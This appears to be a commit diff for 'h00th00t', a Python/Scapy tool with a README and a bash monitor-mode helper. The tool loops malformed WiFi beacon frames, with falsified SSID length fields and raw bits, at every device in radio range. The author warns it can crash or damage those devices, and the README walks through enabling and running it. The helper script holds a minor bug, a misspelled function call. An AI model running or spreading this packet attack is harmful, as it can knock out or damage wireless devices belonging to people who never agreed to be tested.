updoots, helper script, cleanup

README.md

@@ -21,11 +21,13 @@ Testing is very challenging as it requires being out of range of all other WiFi
 ## Hooting (usage)
 **DO NOT TEST IN RANGE OF ANY DEVICE YOU ARE UNWILLING TO DAMAGE**
 1. Designed for **linux** environments with **python3**
-2. Optional: edit line `4` and `5` of [h00thoot.py](./h00th00t.py) to match your sender and wifi device preferences
+2. Set wifi device to monitor mode `bash wifi_monitor_mode.sh`
+   * for usage see note at the top of [wifi_monitor_mode.sh](./wifi_monitor_mode.sh)
+3. Optional: edit line `4` and `5` of [h00thoot.py](./h00th00t.py) to match your sender and wifi device preferences
    * Defaults are fine for most purposes
-3. Install [Scapy](https://scapy.readthedocs.io/en/latest/installation.html)
+4. Install [Scapy](https://scapy.readthedocs.io/en/latest/installation.html)
-4. Uncomment line `19` of [h00thoot.py](./h00th00t.py)
+5. Uncomment line `38` of [h00thoot.py](./h00th00t.py)
-5. `python h00th00t.py`
+6. `python h00th00t.py`
    * in some linux environments, sudo may be needed `sudo python h00th00t.py`
 ---
-![Stolas uwu~](./stolas-headdesk.gif)
+![Stolas uwu~](./assets/stolas-headdesk.gif)

h00th00t.py

@@ -1,8 +1,9 @@
 from scapy.all import *
 
 # config your stuff here
-iface = 'wlan0'
+iface = 'wlan1' # wifi interface in monitor mode
 sender_bssid_mac = RandMAC() # used for source mac and bssid
+# sender_bssid_mac = 'ac:cb:12:ad:58:27'
 
 # send raw wifi beacon frames
 ## USAGE:
@@ -10,21 +11,29 @@ sender_bssid_mac = RandMAC() # used for source mac and bssid
 ### 	or
 ### 	beacon_raw(SSID=<SSID>, reported_length=<REPORTED SSID LENGTH IN 8 BIT BYTES>, interval_seconds=<INTERVAL IN SECONDS>)
 ## DEFAULTS:
-###  	SSID="DUMMY SSID"
+###  	SSID="PrincessPiNet"
-### 	reported_length=255
+### 	reported_length=13
-### 	interval_seconds=0.250
+### 	interval_seconds=0.25
-def beacon_raw(SSID="DUMMY SSID", reported_length=255, interval_seconds=0.250):
+def beacon_raw(SSID=b"PrincessPiNet", reported_length=13, interval_seconds=0.25):
-	# addr1 is destination (broadcast), addr2 is the source mac, addr3 is the bssid
+	# set the frame settings
+	# addr1 is destination (broadcast), addr2 is the source mac, addr3 is the bssid	
 	dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender_bssid_mac, addr3=sender_bssid_mac) # set the frame settings
-	beacon = Dot11Beacon() # create the  beacon
+
-	essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length
+	# set ssid info
-	frame = RadioTap()/dot11/beacon/essid # assemble the frame
+	ssid_info = Dot11Elt(ID='SSID', info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length
-	
+
-	print("FIRIN MY LAZORRRRRR")
+	# assemble the frame
+	frame = RadioTap()/dot11/Dot11Beacon()/ssid_info
+
+	# print info
+	print(f"FIRIN MY LAZORRRRRR\n\tSSID: {SSID}\n\treported length: {reported_length}\n\tinterval seconds: {interval_seconds}\n\tsender bssid/mac: {sender_bssid_mac}\n")
+
+	# send it
 	sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop
 
 # this can be most any value really experimentation is needed
 ssid_binary = 0b0101 # a few random bits to send as the SSID
 
 # please be careful with this, it can crash or damage your local wifi devices
-# beacon_raw(ssid_binary) # send it! USE WITH EXTREME CARE
+# beacon_raw(ssid_binary) # send it! USE WITH EXTREME CARE
+# beacon_raw() # send dummy normal beacon for testing

wifi_monitor_mode.sh

@@ -0,0 +1,109 @@
+#!/bin/bash
+# usage:
+##  wifi_monitor <WIFI DEVICE> <METHOD>
+###  examples
+####  wifi_monitor # DEFAULTS wlan1 and ip method
+####  wifi_monitor wlan1 # wlan1 and default ip method
+####  wifi_monitor wlan0 i # wlan0 and ip method
+####  wifi_monitor wlan0 a # wlan0 and airmon-ng method
+####  wifi_monitor wlan0 if # wlan0 and ifconfig method
+##  wifi device
+###   wlan0 [DEFAULT]
+##  methods:
+###   ifconfig, iwconfig, if, or iw  ifconfig/iwconfig method
+###   ip, iw or i - ip/iw method [DEFAULT]
+###   airo, air, airmon-ng, or a - airodump-ng/airmon-ng method
+
+# set -e # fail on error
+
+check_package () {
+    which -s $1 1>/dev/null 2>/dev/null
+    package_check=$?
+
+    if [ $package_check -ne 0 ]; then
+        echo "FAIL: $1 is not installed, exiting"
+        exit
+    fi
+}
+
+ifconfig_method () {
+    echo "Defaulting to ifconfig/iwconfig method on $wlan"
+
+    # test packages
+    check_package ifconfig
+    check_package iwconfig
+
+    echo "Taking down $wlan"
+    sudo ifconfig $wlan down
+
+    echo "Setting $wlan to monitor mode"
+    sudo iwconfig $wlan mode monitor
+
+    echo "Bringing $wlan back up"
+    sudo ifconfig $wlan up
+}
+
+ip_method () {
+    echo "Using ip/iw method for monitor mode on $wlan"
+
+    # check packages
+    check_packages ip
+    check_package iw
+
+    echo "Taking down $wlan"
+    sudo ip link set $wlan down
+
+    echo "Setting $wlan to monitor mode"
+    sudo iw dev $wlan set type monitor
+
+    echo "Bringing $wlan back up"
+    sudo ip link set $wlan up
+}
+
+airmon_method () {
+    echo "Using airmon-ng method for monitor mode on $wlan"
+
+    # check packages
+    check_package airmon-ng
+    check_package airodump-ng
+
+    wifi_mon="${wlan}mon" # name the monitor device
+
+    echo "Cleaning up any existing processes"
+    sudo airmon-ng check kill
+
+    echo "Starting $wlan in monitor mode"
+    sudo airmon-ng start $wlan
+
+    echo "Putting $wlan in monitor mode"
+    sudo airodump-ng $wlan
+}
+
+echo "Setting up for monitor mode"
+
+if [ -z $1 ]; then
+    echo "Defaulting to wlan1 for wifi device"
+    wlan=wlan1
+else
+    echo "Using $1 for wifi device"
+    wlan=$1
+fi
+
+# default, ifconfig/iwconfig method
+if [ -z $2 ]; then # default ip method
+    ip_method
+elif [ "$2" == "ifconfig" -o "$2" == "if" ]; then
+    ifconfig_method # explicit ifconfig method
+elif [ "$2" == "ip" -o "$2" == "i" -o "$2" == "iw" ]; then
+    ip_method
+elif [ "$2" == "airo" -o "$2" == "air" -o "$2" == "airmon-ng" -o "$2" == "a" ]; then
+    airmon_method
+fi
+
+echo "Hold on 5 seconds..."
+sleep 5
+
+echo "Current wireless configuration"
+iwconfig
+
+echo "Done!"